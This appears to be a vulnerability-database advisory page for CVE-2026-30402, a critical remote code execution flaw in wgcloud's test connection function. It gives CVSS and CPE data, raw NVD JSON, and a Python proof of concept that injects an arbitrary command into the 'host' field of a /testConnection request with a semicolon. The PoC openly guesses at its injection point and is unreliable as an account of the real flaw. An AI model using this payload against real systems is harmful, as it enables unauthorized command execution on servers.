Security Vulnerability Report
中文
CVE-2026-30402 CVSS 9.8 CRITICAL

CVE-2026-30402

Published: 2026-03-19 15:16:26
Last Modified: 2026-04-02 12:20:47

Description

An issue in wgcloud v.2.3.7 and before allows a remote attacker to execute arbitrary code via the test connection function

CVSS Details

CVSS Score
9.8
Severity
CRITICAL
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:wgstart:wgcloud:*:*:*:*:*:*:*:* - VULNERABLE
wgcloud v2.3.7及之前所有版本

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests import sys # CVE-2026-30402 PoC - wgcloud RCE via test connection function # Target: wgcloud v2.3.7 and before def exploit(target_url, command): """ Exploit the test connection function to execute arbitrary commands """ # Construct the malicious payload # The vulnerability exists in the test connection endpoint endpoint = f"{target_url}/testConnection" # Payload construction - inject command via test connection parameter # Common injection points: host, port, or custom parameters payload = { 'host': f"127.0.0.1;{command}", 'port': '22' } try: print(f"[*] Sending exploit payload to {endpoint}") print(f"[*] Command: {command}") # Send the malicious request response = requests.post(endpoint, data=payload, timeout=10) print(f"[*] Response Status: {response.status_code}") print(f"[*] Response: {response.text}") return response.text except requests.exceptions.RequestException as e: print(f"[!] Error: {e}") return None if __name__ == "__main__": if len(sys.argv) < 3: print(f"Usage: python {sys.argv[0]} <target_url> <command>") print(f"Example: python {sys.argv[0]} http://target.com:8080 'whoami'") sys.exit(1) target = sys.argv[1] cmd = sys.argv[2] exploit(target, cmd)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-30402", "sourceIdentifier": "[email protected]", "published": "2026-03-19T15:16:26.190", "lastModified": "2026-04-02T12:20:47.040", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "An issue in wgcloud v.2.3.7 and before allows a remote attacker to execute arbitrary code via the test connection function"}, {"lang": "es", "value": "Un problema en wgcloud v.2.3.7 y versiones anteriores permite a un atacante remoto ejecutar código arbitrario a través de la función de prueba de conexión."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-94"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:wgstart:wgcloud:*:*:*:*:*:*:*:*", "versionEndIncluding": "2.3.7", "matchCriteriaId": "B0A85F70-246E-427F-9EB8-331FFF1AF484"}]}]}], "references": [{"url": "https://github.com/TTTlw1024/qwe/issues/1", "source": "[email protected]", "tags": ["Exploit", "Issue Tracking"]}, {"url": "https://github.com/tianshiyeben/wgcloud/issues/96", "source": "[email protected]", "tags": ["Issue Tracking"]}]}}